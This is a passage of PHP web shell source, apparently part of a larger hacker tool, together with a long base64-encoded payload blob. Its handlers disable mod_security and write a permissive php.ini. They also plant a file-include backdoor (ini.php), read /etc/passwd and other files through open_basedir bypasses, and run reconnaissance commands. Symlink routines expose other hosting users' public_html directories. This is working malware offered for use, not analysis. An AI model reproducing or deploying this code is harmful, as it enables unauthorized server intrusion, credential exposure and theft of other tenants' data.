XfNQPsaKnpq42TQBCfHt5iuMZASNZPNUAPb1qwJSy1PiIwrx5irtGFRwgOr7BojstgX0xTBLsRXRnX6qDtWJgWetc4o6JWpXwhIN1v8+9yRwbwE1p8vE18DemT89I9QRo2EAQOzBUDqKGs9d9Eo3/k4sIEuSxAf792hOlLTjO0eDqMgqteu4TfW71RIR0bRjbLFlaueP0OFvMtzKt5HrDeHZkZE6sTIE6v7uQtjLpfQNMS4ZBJGfRxnDBY02bzqbvjWHHbZW9yyP8oQBlQowVqyu1kDmvph55hkuwZrH4jh7mvt9Tc1gTZyLPiiHEu+BbFtUaHsqwMn1rZ7dFX4oTH/bG3wL8VR5l+GZBWb1j37Ab8rAeCswUKxnjIbuvyf5SNYDF+B2jiZH2lkvywCm6KEWDbkaqn2J23UKIvKvbazeQMcURzC3S/UBN6TzqPJs3a5QdQww+qTo3iMjwv7QfjXOecsEKRN+Hv9iDvl4gUpsRsmXsiWcV4xEYZ2TsSlu+jdQZe50b1UU2E/NAc67fnTmp7IjYODgzCW9zXVlg6vK4ihV9pgjJnwySxF3Dap0nWXZrOLNtx312GXyzvgZlQDoJe8q0+V8/Nv1D2TlKioh8xcBvtgvZhrWrJXisV1nfc2c+jb5E7m70pivwOZmuPX3w0oKM4fJr6Quyk5UP0BBlHuor44/Z2npwS2TiaxfbaVaD+B/3EXa756iPmuKgXDDNZ8pqQG80uFU/mJCeD1FM2OUtP7IXSOZ/Trw+jdibDTdbuLaczSzSW4UM3TvPTdREmX25VZhmwxm4KQE3bNc1aMZGk3nfsINS8XfZja0ahl1bYGvDqRfh59izNoX9vDVMfO9nribaRXiwMyQtWeCXLf7sGJhDlS238DwZTH+tPiznnIftxMhHP25arMKo6s1WQVQTo3VttmRZIkIIQVVXZoklfLbPwg70BGZgFitT58+lYrJmu88M9dbs789pvPL7SlmvqfIBfHmXfQ861LYN/CTefA6llWVEBy+HTdyM/SoBe4iCw+Z+ZkLWmQ/RoA7qTfQNjvB3cy5ueA8TMZ2JFRzXlcBg9Dt2ihmiBSo+CegTBRCIzM4jS8Bn37bRYwaxzyvQsgVuvdgGpkxHTjgojC0B4YyEbVydfq0Z0r7Jju5RZlN2PIHwSNZ8JY3g0hO7gY97gnrDj/UzzO+fUbD1uZjrTNKqq9iSnoFGW1+lOYpMZM1niyOjLlwu3pnfsuuqSlb46wWKP4dfs2zUHdzzUYbpzx0LivS1h7MZxQQyi6K4vN0t9/l8ytUjpNy7E6gjrgixUo5MemEhl+lXqdRJ69+4Q1yO5cxDAHz67kcG+IKED7XOATKRnq22gh6X5jN3K84sB1PfU9t1tRcQfnnaV9P2ArETXMOInbFDBqRq42auk/MQ6efdysyDlpEw0tn+zWqWILnm7uT/XehAxqCg5cYdr3lW2w8A8bKDLDm5R2DL4nVB2sCSEDOWSZDNWdK3vayWfixNdVavyNr0trbvt4vfQJ/0Q33MQiRooBxUtpAb8Dzo2hQTTZjJnzIXEm0TYcJJFwTuz4AOGvTslsB1CGqZmkbOKG2VljJvrHuFtiPnrdisNx6LUDVk4jipw7bRnK8zSCeqX6+bgXaikBqoIkHjnulNTX4GrDryDrhVYAXB9Z8rOY75O3nF7Yn35RYylkXhMyHDkz8J5OWLQ9lOpRY11PgHWtyQruB2FmTYE6JjI+8d8UI2+6xH+eZHVUXKENFQ+aSfIxiXigkSOdbBPd51wZXVEgL1a86GGZw0ACtXYh8KYepVb6dQtexQWCamIXwtjuWzSlsfNFZ5JuGcER6X+nxkw8A8nMVFI/wYZ+xQaxokclsa5nq7e6obR1J++OkMUvsgoctYRZGjF4tTMH/ru2+3NoYSsgJRtW/cEqWK72Nh79+yod7BnPQA6K7BdWnDZaY/dfxg9OdhMg00cZ+WDIcvXkL4HCVSgTLfjWLZIgIF/DGG4KmkonUO+D0fB592pY2rt8fQX+lzYBQvCZqdN3IYrnfPSIqj/xYTzq6U3ExVshqdjYoQ5DevadyG2VwbTdtpRy4UBbGm2Jl4NKqMGwKktRIE39zjh6DyTyjyao796kM+bJG8Y06Xw4Wr3XFN0qDQkJ0gD0tSeyL7ClFLszhf4KIJ5dgQ5C9ub+JVhYFqv5uyJSdHK/Cvqx/GfWhdn8pl6yIMaCfYDKCfGJWVLHXirPtOLNqEnLf4akiWxQ81BpmqphVkI+vzs/dkdi+Kmo6bVgiGUX3wMMHiMLJRQN0FE4WeIMPwXp2shu3LFPlQ++UoMCwt1vUUIO+Wamgw6B+GYhdMqN48lK2PA8kCJ2I3729RWsq/zGnJPg4CRFIagfZpySeilmQ6I/VPxyGqNkPX3BtQnqWzVlyyzKP69FPwvIZpJJB2EjaS68R9o1cqSvONZA2nNg74fRdpS1ZJr+Z8ZtV7HZ4Run9/sgeUbNPPGfhOEZ/Dg4nXmqyiy5jy2DU9zYQJVIY6EY7qdm0gZ9bIVRuRIbz8cCDQAt8aLJF8A9v5Kj+TOYWHY2oHegzbPOKO7RM8FdVfWK0wfWSKd/yssqW2XHER9Djd2Q5YITz8kkxih3aZgjh0iJuRSznI0c4t5+vlZYhp9btF8jvju9i1V8SelR+dDp9+GK+W6MipMvhTgFlVYk1IBmU70dqRyU/Equw17BfYHeDCjm0Omxj71hTfER7431mUTP3KvItmXuWcbqKdgcpavmHZ/6DgwctQMKtxMyP3Ng0mu2hKZ0dr9lEg030kWc3ykfE+308MI6F79RAe69REumvMBKaePR1TCLYS756ytVpbYEPomFX8l31tmoal6o/R9EPu16FojxWlbOYnK/1KryGHHAr5zRXoGrJW3315zYvQgbWZD16XXZNnyrJLLexQAbszeny6pOwyZabIL68d+oK2Uo5ppamvZSHaW4gtUCg8CvlKgtlg1BMSkpe8Y/2aHTHEfNec4QsVQwciiF8n50ssdLng85Gx8a6xZc9r/zEZIS+J4e58Eq8hCG95DdYDH3d42uK+eLASxMrNQ3n0JOPENHfvzFvqa2m6+0an/GvUImuZhQ4nS7DcBUF1WGdJeib3xpAsuvbtjEbtTdIzZF4755P+Rq+eIVxPSn2/Uuqe7vBhqYD6gZjzdcca0fp37ibtCUvnekoPxp+KKkdQtV+2o2jjwQfmJcLAseRo8O1uOK5EVrj2gldFY+YACqSkwFHA4rosmYhfy70wc0IImj6oKwNaGQT9QQIu6fnir3+IFbK0JiSYUrasdviApbZF5H86Nlv6+ZFMzTuM6r7J1aoJ36vVprIn4OAcuSkwMV5/gtLQx3nM48iTvDxhqEaCaHd4CXnthQqQk/k8AcKIpFyKo5Ody0Sh319aIpqlcWvTAQoFmHLphgGMwz1Mp1aEmju4EWRVkVv8DRyF4eYue4VvpQTSwbz1ZrqgLx+BCvOqDo8z2EKn3CSC9N0drtvsViUt7VK0uX0BDdxBSo52IuWxpfCeh0HKWRlyu1+9q0VyE9Tyzb0fGhXA7LXiSHwvgiQQ15YvDsOZpMTWoq5pSaQwm5/026yYR98lS86BrsI8elcbxFvAHKl0WpAGorPuLZDPzShJbP9csZn7JKEFz+HG2ExQYoeF45dWHeE8mQpFmbvOxbPY85zgCrIfj6pLDyQ1jT0jHph4QFpjxxGX1qwVfvwmPdfika+9ZDczpepVOF3bMkBkG9csUQc4AZ+B8L9UbfZlSiOZfGgYEHkYSbgTdi905pf9pHN2Wamk2OjuVJbHxdGhORe4Ws8CJk72hCmhN4nXxDuF5ruYIHqa9+s39iitUYLMX3A3w6DuY4/arvmeP4ttZ257EbCkKi6+DNAqaYF1h8KY7IxcNHXdFE3+r6+UH7OiJgBrMMgNK/XPNW1UmHTVppdW4TuudNjv1TK7XV1ZPFfL0+ywmoYuCYMmQOWNjGrbXKt3BVOtbly9GuYntrTh46tFQesiZnDPRWIk2h9XpEZPAZjDLxQa6K4WClN/UqtaoGn03joia97Ygl6ihVvVBrEWO7SDj/iSiz5xL+UJoKVeZeC/Vuwcm7A+OuidDnL2g6bnigtOHXmfqFC6F0saeo+hOx7fA9B5uewuYHDIEdHSxazQZlQXMPrTCPothaD36Ae+oVOe74Rp9EYTugUXTS29265xPQmeewz/JpBtYFPFKzyJQ5bvo5bMQqShXN9Y6uF5MBqVFNbXTb7mZI8mrPO8dmNt6TDg/PZOYPSR0UJjHlIL7AtojydqG/mMa3bkPEhBPMz1KvHZroQRX7jppT5HVqp2GerWfVlcHq/0UtMm/1VeLfsn+9PwOCt3nFeLo4tENRNtfFrqO8ZoMDvIuql+YEh/tgAuVHvcNaBrwiZJWQOu0TT/Vtwr7JMPNOcxHQ0wGzHQvAOrd+JjeXX17b/CiwLYeMUZC9Tqg0bFSay1ANAYIThh9pcK7LGAF4VP5BC7P5Qi6cszu7uw+UPOcAf6ukfcSsCes/dK/BTbhjwfqmi1CW/F5I+C6bFjR1V8tm2NiWy+qTyUTq1SXkoe7YLhklRwhpvNJcciz2QfQn9eIYqqTvx+yHd6M3tZD+MlhBAZsFErwmppJGjdtghQ7q53LdZHp0ueKHz9egH1Y5TaErSBzSZ8HSIor9JrW14bSCjpVO5nxmyi8wS/HxGHUpc7QvdGOp7uXUN0FxzQ7FcCgV0qvkYGklvUyRPsX6ZOrCljzKFd3NyP5xuqU2n7ih9E5Kgj2blVvH3H+Qi39vJRwaVceo3/qAKwD6Upf5S0sF9fH7Mio6oa98F2B+4RimZ+D9zCV4NFQE5I6wD6sqpiG5X3RofuzMU9ub3S+zay6dfNM5Wre+M6NcqEa9GgRNtjeZNds75iWhNyndza8FeJQg6mozyr3tLNzSf+Iz1wit15C6iQEYJzcRbUbBtd0VTpyGUZ3wVaMhR19oT0tHuhRJDOOZbMnagwrkgIwRdl6pONX5I3gXBtUJW/2LydmzKzV7ZbykLjtA7fthGCgcDiwCYtzpbtvk1Lq83GQub2U3Vu2PlZjNbfQEGJ5f+VQfwop4fmd+SEvgUvWqKbKdK3Ay3FH8CdxZpywxI+ZdxaZdz+6fGh+n+oOksTVvgg69ExS2+HbsN8SKFHB4tCAsL7HiBs8L/CzgZJn3rr9OKI2rAOffYHLnEpGtfSLL41YfC4GsfczNRvTSY3xAHsQEz9lqt3i8nv438jG7JYbYemj4rD3UKLN4Ahj3tcflc0u6Y35yeRtUPLs0trL1wi4ROoEqwWWg2WFCWB0YydHXYtFoVIoXT8Z7Nbc3PNyv9GLxbTHoiUEV5m09/yVgdezgCp5aIqsIzXFchAZ80GnmbuPVKckiw0YmajHN1+viWNWrbD1ytt91bpp9U1uTe/FcDbVfmyZLYTQWz1HkkJMNjuqqCfxvOivykCHrzeF+oR6UmovdbWoQgJaBwIXTLFOgEkIRuSgGa6mDd04cycGudBOiTrN5jcZRS+NhpENWd/Qy6k+lsZ1qpWgUvw/KtNSPBPLsIoX78cjNSzb7LHbmaiB1clCDuBlP8r1jt5xHioK/zrWJR9d3mVD0ein5+uK1XSOWSH3xBeeLzvK1SF1+FAK6B9yDoEwhOV/HTSL6CUUK/bzjwgk4MGGN6VGbzy3Zy2wnlvPbLHAcCepBYD//Wc+j+UAwega7VovA4IIbkV+bZeZKdPPv4eN1oEh9quQR1/4lV7WImDxUxT86H+5k2BQ0hoCfBGV98KjNiNOBk87et/VQGRg8yMS0dbijt5SfscphxXjfj30IaX8Ei3ZWOBg0A5+dYVRxzp/ng3PV6nX5Q7NjoBWh21w77wbGSO9E1f4evUaEUOImKAtEqfiBfPR0mAfWcc/gs0lkew/SBnmr1ttKvBVYBWgKvH8wI/o83Kxnztfv5SafXv97aUaUbO0RIMvDQbEgxnz7CX5pmQZYQN3LjwRYl5qmC9izKq54fzqWHP1w+sCvH0bWePMRJ+9SB3mD+Q0NL2HKs7Cm+w1ESP0sXup7KNdeyva/pp5bvOCk4ayq3vGwaGiLrOFigp2injEy/KY00SpSSxHLUwm9lg/o9PfP5IdeiHmSW+/wlYBMCHDcH8rbflTZhq5I1FUUVyu+QRUNQvFjjHpORp22+RmWcERhAWCKU3k+ddUhcwD/vvTTxG7OccvVIjucj4Plg2AwreYYPll/qLo9eNJaNe0Z3jnrnrlJyGS/LN7hHLMI3zr/9WiHmcJeXa9hQ6vNj2Ws8rgL9jjQanG1g9kFbhzXfpsmObFy/4OXanrriE4ykfSQTwap6Jf3xSb+rFpafPHlGRKHKLycs+ZUhtwoJwl5ppNVD8wNTlRFedNhxZLP68uRJ9wHZSgDbzhS+jJVMrVkCmH3sxCG93+c7+Q46JQrZKm3nmc73spzb+9z2xW3zrflJAcSnm/aHv5Hk4U9Yi8JxEAsJ9cbSa+RF2w2MQOVtkey1pMSHRYxnU+V3wCzUuPff72bGcPfmhSOrGlBn57e0wFzmq2iKrYnV57O4kQUlSBA/0qaN39TdXpbTYdbyUUwZoV45LCn/ECLZGW5OZ0FsGtYpGAtxEuVHy8AAHRMha2nIna1IYp9ryNX4F6Bfu6SXz0v8yE4veZAOYyFPR23fqptno88515b5jSnHmB/0RsEmrtFPCLcYZ6b3yEn6tu8kHkJJseXUAzD11tul46IXG/qmJ6Cl2Ezvr7iLllrMFrZ/nSH/djL1FiBYNCs6kUcTEW4/MJksClQHgBqnqTehvCvDwnqMAcM46odvyU9cpIOqLa6XgyDbNiHkxajeaRAfC0smt7Grz33Wc9OLl83AWvdaf9zPVlWfs7fbJWDF0AOunBDFclOyFYfLZi6TiFuQN4vobTdHY28NRZTsVSUHkerYIQ664v5wEApeQ2CTbn/Eb8swBlnYL8siUGWTy/tJNoSQDstMQqzFkbs4Z9djbXH0z3TYG8U0vUPnQb/Z9S80Dxa3nKGU0E8J6WUeYFGQCQHP74GUV33oMsJDaB+HdSZXZbidpknuG4NABtYEDYKAfYIgOJPg9z//+eOfv9e//vH3X//++38='))); ?></textarea>
1033</td>
1034</tr>
1035<tr>
1036<td>
1037<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitcmd" />
1038 </td></tr></table>
1039</form>
1040
1041<?php }
1042# x=dmsec1
1043elseif(isset($_GET['x']) && ($_GET['x'] == 'dmsec1')) {
1044@error_reporting(0);
1045$htaccess=fopen('.htaccess','w');
1046$iniphp=fopen('ini.php','w');
1047
1048$jablay="<IfModule mod_security.c>
1049SecFilterEngine OFF
1050SecFilterScanPOST OFF
1051</IfModule>";
1052$kimcil="<?
1053echo ini_get(\"safe_mode\");
1054echo ini_get(\"open_basedir\");
1055include(\$_GET[\"file\"]);
1056ini_restore(\"safe_mode\");
1057ini_restore(\"open_basedir\");
1058echo ini_get(\"safe_mode\");
1059echo ini_get(\"open_basedir\");
1060include(\$_GET[\"ss\"]);
1061?>";
1062fwrite($htaccess,$jablay);
1063fwrite($iniphp,$kimcil);
1064
1065$kobel="<center><br/><br/><nobr><b><span class='b7'>O=:[ BYPASS</span> <span class='b8'>HTACCESS ]:=O</span></b></nobr><br/><br/><nobr><span class='b9'>Generate htaccess & ini.php Successfully :)</span></nobr><br/><br/><br/></center>";
1066echo $kobel;
1067}
1068
1069# x=dmsec2
1070elseif(isset($_GET['x']) && ($_GET['x'] == 'dmsec2')){ ?>
1071<form action="?dm=<?php echo $pwd; ?>&x=dmsec2" method="post">
1072
1073<?php
1074@error_reporting(0);
1075$ayo=fopen('php.ini','w');
1076$blay=" safe_mode = OFF
1077disable_functions = NONE";
1078fwrite($ayo,$blay);
1079$hotel=" <center><br/><br/><nobr><b><span class='b7'>O=:[ BYPASS</span> <span class='b8'>PHP.INI ]:=O</span></b></nobr><br/><br/>
1080<nobr><span class='b9'>Generate php.ini Successfully :)</span></nobr><br/><br/><br/></center>";
1081echo $hotel;
1082}
1083
1084# x=dmsec3
1085elseif(isset($_GET['x']) && ($_GET['x'] == 'dmsec3')) {
1086
1087@error_reporting(0);
1088function CleanDir($d){
1089$d=str_replace("\\","/",$d);
1090$d=str_replace("//","/",$d);
1091return $d;
1092}
1093if(isset($_POST['curl_bypass'])){
1094@error_reporting(0);
1095$ch=curl_init("file://$_POST[file_bypass]");
1096curl_setopt($ch,CURLOPT_HEADERS,0);
1097curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
1098$file_out=curl_exec($ch);
1099curl_close($ch);
1100echo "<br/><br/><center><textarea rows='20' style='color:#FF0000;background-color:#000000' cols='70' >".htmlspecialchars($file_out)."</textarea></br></br>";
1101}
1102
1103elseif(isset($_POST['tmp_bypass'])) {
1104tempnam("/home/",$_POST['file_passwd']);
1105 }
1106
1107elseif(isset($_POST['copy_bypass'])) {
1108if(@copy($_POST['file_bypass'],$_POST['dest'])) {
1109@$fh=fopen($_POST['dest'],'r');
1110echo "<textarea rows='20' style='color:#FF0000;background-color:#000000' cols='70'>".htmlspecialchars(@fread($fh,filesize($_POST['dest'])))."</textarea></br></br>";
1111@fclose($fh);
1112 } else echo "<center><br/><br/>
1113<h1>O=:[ BYPASS DENIED ]:=O</h1><br></br>";
1114 }
1115echo "<br/><br/><table style='margin: auto; width: 100%; text-align: center;'><tr>
1116<td colspan='3'> <center><br/><br/><nobr><b><span class='b7'>O=:[ BYPASS</span><span class='b8'>BASEDIR ]:=O</span></b></nobr><br/><br/></center> </td>
1117</tr>
1118<tr>
1119<td>[~] Bypass Basedir cURL [~]</td>
1120<td>[~] Bypass Basedir tempnam() [~]</td>
1121<td>[~] Bypass Basedir copy() [~]</td>
1122</tr>
1123<tr>
1124<td><nobr><form method='post' name='bypasser'>
1125FILE : <input type='text' style='color:#FF0000;background-color:#000000' value='/etc/passwd' name='file_bypass'> <input type='submit' name='curl_bypass' style='color:#FF0000;background-color:#000000' value='Bypass'></form></td>
1126
1127<td><nobr><form method='post' name='bypasser'>FILE : <input type='text' style='color:#FF0000;background-color:#000000' value='../../../etc/passwd' name='file_bypass'> <input type='submit' style='color:#FF0000;background-color:#000000' name='tmp_bypass' value='Bypass'>
1128</nobr></form>
1129</td>
1130<td><nobr><form method='post' name='bypasser'>FILE COPY TO : <input type='text'style='color:#FF0000;background-color:#000000' style='width: 250px;' name='dest' value='".CleanDir(getcwd())."/maho.txt'> <input type='text' style='color:#FF0000;background-color:#000000' value='/etc/passwd' name='file_bypass'> <input type='submit' name='copy_bypass' style='color:#FF0000;background-color:#000000' value='Bypass'>
1131</nobr></form>
1132</td>
1133</table>";
1134}
1135
1136# x=dmsec4
1137elseif(isset($_GET['x']) && ($_GET['x'] == 'dmsec4')) {
1138
1139function dmprocess() {
1140if(!$win) {
1141$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");
1142}
1143else {
1144$handler = "tasklist";
1145}
1146$ret = myshellexec($handler);
1147if (!$ret) {
1148echo "Can't execute \"".$handler."\"!";
1149}
1150else {
1151if (empty($processes_sort)) {
1152$processes_sort = $sort_default;
1153}
1154$parsesort = parsesort($processes_sort);
1155if(!is_numeric($parsesort[0])) {
1156$parsesort[0] = 0;
1157}
1158$k = $parsesort[0];
1159$ret = htmlspecialchars($ret);
1160if(!$win) {
1161if($pid) {
1162if (is_null($sig)) {$sig = 9;}
1163echo "Sending signal ".$sig." to #".$pid."... ";
1164if (posix_kill($pid,$sig)) {
1165echo "OK.";
1166}
1167else {
1168echo "ERROR.";
1169}
1170}
1171while (ereg(" ",$ret)) {
1172$ret = str_replace(" "," ",$ret);
1173}
1174$stack = explode("\n",$ret);
1175$head = explode(" ",$stack[0]);
1176unset($stack[0]);
1177$prcs = array();
1178
1179foreach ($stack as $line) {
1180if(!empty($line)) {
1181echo "<tr>";
1182$line = explode(" ",$line);
1183$line[10] = join(" ",array_slice($line,10));
1184$line = array_slice($line,0,11);
1185$prcs[] = $line;
1186echo "</tr>";
1187}
1188}
1189}
1190else {
1191
1192while (ereg(" ",$ret)) {
1193$ret = str_replace(" ","",$ret);
1194}
1195while (ereg(" ",$ret)) {
1196$ret = str_replace(" ","",$ret);
1197}
1198while (ereg(" ",$ret)) {
1199$ret = str_replace(" ","",$ret);
1200}
1201while (ereg(" ",$ret)) {
1202$ret = str_replace(" ","",$ret);
1203}
1204while (ereg(" ",$ret)) {
1205$ret = str_replace(" ","",$ret);
1206}
1207while (ereg(" ",$ret)) {
1208$ret = str_replace(" ","",$ret);
1209}
1210while (ereg(" ",$ret)) {
1211$ret = str_replace(" ","",$ret);
1212}
1213while (ereg(" ",$ret)) {
1214$ret = str_replace(" ","",$ret);
1215}
1216while (ereg(" ",$ret)) {
1217$ret = str_replace(" ","",$ret);
1218}
1219while (ereg("",$ret)) {
1220$ret = str_replace("","",$ret);
1221}
1222while (ereg(" ",$ret)) {
1223$ret = str_replace(" ","",$ret);
1224}
1225$ret = convert_cyr_string($ret,"d","w");
1226$stack = explode("\n",$ret);
1227unset($stack[0],$stack[2]);
1228$stack = array_values($stack);
1229$head = explode("",$stack[0]);
1230$head[1] = explode(" ",$head[1]);
1231$head[1] = $head[1][0];
1232$stack = array_slice($stack,1);
1233unset($head[2]);
1234$head = array_values($head);
1235if ($k > count($head)) {
1236$k = count($head)-1;
1237}
1238$prcs = array();
1239foreach ($stack as $line) {
1240if (!empty($line)) {
1241echo "<tr>";
1242$line = explode("",$line);
1243$line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
1244$line[2] = intval(str_replace(" ","",$line[2]))*1024;
1245$prcs[] = $line;
1246echo "</tr>";
1247 }
1248 }
1249 }
1250$head[$k] = "<b>".$head[$k]."</b>".$y;
1251$v = $processes_sort[0];
1252if($processes_sort[1] == "d") {
1253$prcs = array_reverse($prcs);
1254}
1255$tab = array();
1256$tab[] = $head;
1257$tab = array_merge($tab,$prcs);
1258echo "<TABLE height=1 cellSpacing=0 cellPadding=5 width=\"100%\" border=1>";
1259foreach($tab as $i=>$k) {
1260echo "<tr>";
1261foreach($k as $j=>$v) {
1262
1263if($win and $i > 0 and $j == 2) {
1264$v = view_size($v);
1265}
1266echo "<td>".$v."</td>";
1267}
1268echo "</tr>";
1269}
1270echo "</table>";
1271}
1272}
1273
1274echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ BYPASS</span> <span class='b8'>PROCESS ]:=O</span></b></nobr><br/><br/>";
1275
1276if($win) {
1277echo "<form method='post'>
1278<select class='inputz' name='windowsprocess'>
1279<option name='systeminfo'>System Info</option>
1280<option name='active'>Active Connections</option>
1281<option name='runningserv'>Running Services</option>
1282<option name='useracc'>User Accounts</option>
1283<option name='showcom'>Show Computers</option>
1284<option name='arptab'>ARP Table</option>
1285<option name='ipconf'>IP Configuration</option></select>
1286<input type='submit' class='inputzbut' name='submitwinprocess' value='View'>
1287</form>";
1288} else {
1289echo "<form method='post'>
1290<select class='inputz' name='nonwindowsprocess'>
1291<option name='passwd'>Passwd</option>
1292<option name='syslog'>Syslog</option>
1293<option name='resolv'>Resolv</option>
1294<option name='hosts'>Hosts</option>
1295<option name='cpuinfo'>Cpuinfo</option>
1296<option name='version'>Version</option>
1297<option name='sbin'>Sbin</option>
1298<option name='interrupts'>Interrupts</option>
1299<option name='lsattr'>lsattr</option>
1300<option name='uptime'>Uptime</option>
1301<option name='fstab'>Fstab</option>
1302<option name='hddspace'>HDD Space</option>
1303</select>
1304<input type='submit' class='inputzbut' name='submitnonwinprocess' value=' >> '></form>";
1305}
1306
1307$windowsprocess = $_POST['windowsprocess'];
1308$nonwindowsprocess = $_POST['nonwindowsprocess'];
1309
1310if ($windowsprocess=="System Info") $winruncom = "systeminfo";
1311if ($windowsprocess=="Active Connections") $winruncom = "netstat -an";
1312if ($windowsprocess=="Running Services") $winruncom = "net start";
1313if ($windowsprocess=="User Accounts") $winruncom = "net user";
1314if ($windowsprocess=="Show Computers") $winruncom = "net view";
1315if ($windowsprocess=="ARP Table") $winruncom = "arp -a";
1316if ($windowsprocess=="IP Configuration") $winruncom = "ipconfig /all";
1317if ($nonwindowsprocess=="Syslog") $winruncom = "cat /etc/syslog.conf";
1318if ($nonwindowsprocess=="Resolv") $winruncom = "cat /etc/resolv.conf";
1319if ($nonwindowsprocess=="Hosts") $winruncom = "cat /etc/hosts";
1320if ($nonwindowsprocess=="Passwd") $winruncom = "cat /etc/passwd";
1321if ($nonwindowsprocess=="Cpuinfo") $winruncom = "cat /proc/cpuinfo";
1322if ($nonwindowsprocess=="Version") $winruncom = "cat /proc/version";
1323if ($nonwindowsprocess=="Sbin") $winruncom = "ls -al /usr/sbin";
1324if ($nonwindowsprocess=="Interrupts") $winruncom = "cat /proc/interrupts";
1325if ($nonwindowsprocess=="lsattr") $winruncom = "lsattr -va";
1326if ($nonwindowsprocess=="Uptime") $winruncom = "uptime";
1327if ($nonwindowsprocess=="Fstab") $winruncom = "cat /etc/fstab";
1328if ($nonwindowsprocess=="HDD Space") $winruncom = "df -h";
1329if (isset($winruncom)) {
1330echo "<table class='cmdbox'><tbody><tr><td colspan='2'><textarea class='output' name='content'>".exe($winruncom)."</textarea></td></tr></table></center>";
1331}
1332if (isset($systeminfo)) {
1333echo "<br><br>";
1334dmprocess();
1335}
1336}
1337
1338# x=dmsym1
1339elseif(isset($_GET['x']) && ($_GET['x'] == 'dmsym1')) {
1340@session_start();
1341@set_time_limit(0);
1342@ini_set('max_execution_time',0);
1343if($win){
1344echo "<center><br/><br/><nobr><span class='b9'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
1345}
1346@mkdir('dm1sym',0777);
1347$sempak = "Options all \n
1348DirectoryIndex dm.html \n
1349AddType text/plain .php \n
1350AddHandler server-parsed .php \n
1351AddType text/plain .html \n
1352AddHandler txt .html \n
1353Require None \n
1354Satisfy Any";
1355$masuk =@fopen ('dm1sym/.htaccess','w');
1356fwrite($masuk ,$sempak);
1357@symlink('/','dm1sym/dm.txt');
1358$pg = basename(__FILE__);
1359
1360
1361if(is_readable("/var/named")){
1362echo '<center><br/><br/><nobr><b><span class="b7">O=:[ SYMLINK</span> <span class="b8">VAR/NAMED ]:=O</span></b></nobr><br/><br/></center>
1363<table align="center" border="3" width="400" cellspacing="0" cellpadding="0">
1364<td align="center"> <font color="white"> <b>_DOMAINS_</b></td>
1365<td align="center"> <font color="white"> <b>_USERS_</b></td>
1366<td align="center"> <font color="white"> <b>_SYMLINK_</b></center></td>';
1367$list = scandir("/var/named");
1368foreach($list as $domain){
1369if(strpos($domain,".db")){
1370@error_reporting(0);
1371@ini_set('log_errors',0);
1372@ini_set('error_log',NULL);
1373
1374$i += 1;
1375$domain = str_replace('.db','',$domain);
1376$owner = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
1377echo "<tr>
1378<td><a class='dm' href='http://".$domain." '>".$domain."</a></td>
1379<td align='center'><font color='white'>".$owner['name']."</td>
1380<td align='center'><a href='dm1sym/dm.txt".$owner['dir']."/public_html/' target='_blank'>Symlink</a></td>";
1381}
1382}
1383flush();
1384flush();
1385}
1386echo "</tr></table></div></html>";
1387}
1388
1389# x=dmsym2
1390elseif(isset($_GET['x']) && ($_GET['x'] == 'dmsym2')) {
1391@session_start();
1392@set_time_limit(0);
1393@error_reporting(0);
1394@ini_set('log_errors',0);
1395@ini_set('error_log',NULL);
1396@ini_set('max_execution_time',0);
1397 if($win){
1398echo "<center><br/><br/><nobr><span class='b9'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
1399}
1400@mkdir('dm2sym',0777);
1401$sempak = "Options all \n
1402DirectoryIndex dm.html \n
1403AddType text/plain .php \n
1404AddHandler server-parsed .php \n
1405AddType text/plain .html \n
1406AddHandler txt .html \n
1407Require None \n
1408Satisfy Any";
1409$masuk =@fopen ('dm2sym/.htaccess','w');
1410fwrite($masuk ,$sempak);
1411@symlink('/','dm2sym/dm.txt');
1412$pg = basename(__FILE__);
1413
1414if(is_readable("/etc/passwd-")){
1415$gelartiker = 'file_get_contents';
1416$seret = '/etc/passwd-';
1417$isikarung = $gelartiker($seret);
1418$buka = fopen('maho.txt', 'w');
1419fwrite($buka,$isikarung);
1420}
1421
1422if(isset($_GET['file']) or @filesize('maho.txt') > 0) {
1423$cont = stripcslashes($_POST['file']);
1424if(!file_exists('maho.txt')){
1425$f = @fopen('maho.txt','w');
1426$w = @fwrite($f,$cont);
1427fclose($f);
1428}
1429if($w or @filesize('maho.txt') > 0){
1430echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ SYMLINK</span> <span class='b8'>ETC/PASSWD- ]:=O</span></b></nobr><br/><br/><table align='center' border='3' width='400' cellspacing='0' cellpadding='0'>
1431<td align='center'> <font color='white'> <b>_USERS_</b></td>
1432<td align='center'> <font color='white'> <b>_SYMLINK_</b></td>";
1433flush();
1434$fil3 = file('maho.txt');
1435foreach ($fil3 as $f){
1436$u=explode(':', $f);
1437$user = $u['0'];
1438echo "<tr>
1439<td align='center'><font color='white'>$user</td>
1440<td align='center'><a class='dm' href='dm2sym/dm.txt/home/$user/public_html' target='_blank'>Symlink</a></td></tr>";
1441flush();
1442flush();
1443}
1444echo "</tr></table></div></html>";
1445}
1446}
1447}
1448
1449# x=dmsym3
1450elseif(isset($_GET['x']) && ($_GET['x'] == 'dmsym3')) {
1451@session_start();
1452@set_time_limit(0);
1453@error_reporting(0);
1454@ini_set('log_errors',0);
1455@ini_set('error_log',NULL);
1456@ini_set('max_execution_time',0);
1457if($win){
1458echo "<center><br/><br/><nobr><span class='b9'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
1459}
1460@mkdir('dm3sym',0777);
1461$sempak = "Options all \n
1462DirectoryIndex dm.html \n
1463AddType text/plain .php \n
1464AddHandler server-parsed .php \n
1465AddType text/plain .html \n
1466AddHandler txt .html \n
1467Require None \n
1468Satisfy Any";
1469$masuk =@fopen ('dm3sym/.htaccess','w');
1470fwrite($masuk ,$sempak);
1471@symlink('/','dm3sym/dm.txt');
1472$pg = basename(__FILE__);
1473
1474$etc = file_get_contents("/etc/passwd");
1475$etcz = explode("\n",$etc);
1476if(is_readable("/etc/passwd")){
1477echo '<center><br/><br/><nobr><b><span class="b7">O=:[ SYMLINK</span> <span class="b8">ETC/PASSWD ]:=O</span></b></nobr><br/><br/> <table align="center" border="3" width="400" cellspacing="0" cellpadding="4">';
1478echo'<tr>
1479<td align="center"> <font color="white"> <b>_DOMAINS_</b></td>
